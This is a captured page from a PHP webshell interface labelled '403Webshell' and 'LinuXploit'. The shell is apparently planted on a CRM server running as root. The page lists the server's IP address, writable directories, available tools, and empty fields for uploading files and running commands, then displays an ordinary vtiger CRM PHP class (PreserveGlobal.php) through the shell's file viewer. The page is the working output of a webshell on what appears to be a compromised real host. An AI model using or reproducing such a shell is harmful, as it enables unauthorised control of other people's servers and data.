403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.55
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/soltelcocrm/include/Webservices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/soltelcocrm/include/Webservices/PreserveGlobal.php
<?php
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

class VTWS_PreserveGlobal{
	
	private static $globalData = array();
	
	static function preserveGlobal($name,$value){
		//$name store the name of the global.
		global ${$name};
		//To not push null value . Ideally we should not push null value for any name
		//But current user null is dangerous so we are checking for only current user
        if(!empty(${$name}) || $name != 'current_user') {
			if(!is_array(VTWS_PreserveGlobal::$globalData[$name])){
				VTWS_PreserveGlobal::$globalData[$name] = array();		
			}
			
			VTWS_PreserveGlobal::$globalData[$name][] = ${$name};
		}

		${$name} = $value;
		return ${$name};
	}
	
	static function restore($name){
		//$name store the name of the global.
		global ${$name};
		
		if(is_array(VTWS_PreserveGlobal::$globalData[$name]) && count(VTWS_PreserveGlobal::$globalData[$name]) > 0){
			${$name} = array_pop(VTWS_PreserveGlobal::$globalData[$name]);
		}
		${$name};
	}
	
	static function getGlobal($name){
		global ${$name};
		return VTWS_PreserveGlobal::preserveGlobal($name,${$name});
	}
	
	static function flush(){
		foreach (VTWS_PreserveGlobal::$globalData as $name => $detail) {
			//$name store the name of the global.
			global ${$name};
			if(is_array(VTWS_PreserveGlobal::$globalData[$name]) && count(VTWS_PreserveGlobal::$globalData[$name]) > 0) {
				${$name} = array_pop(VTWS_PreserveGlobal::$globalData[$name]);
			}
		}
	}
	
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit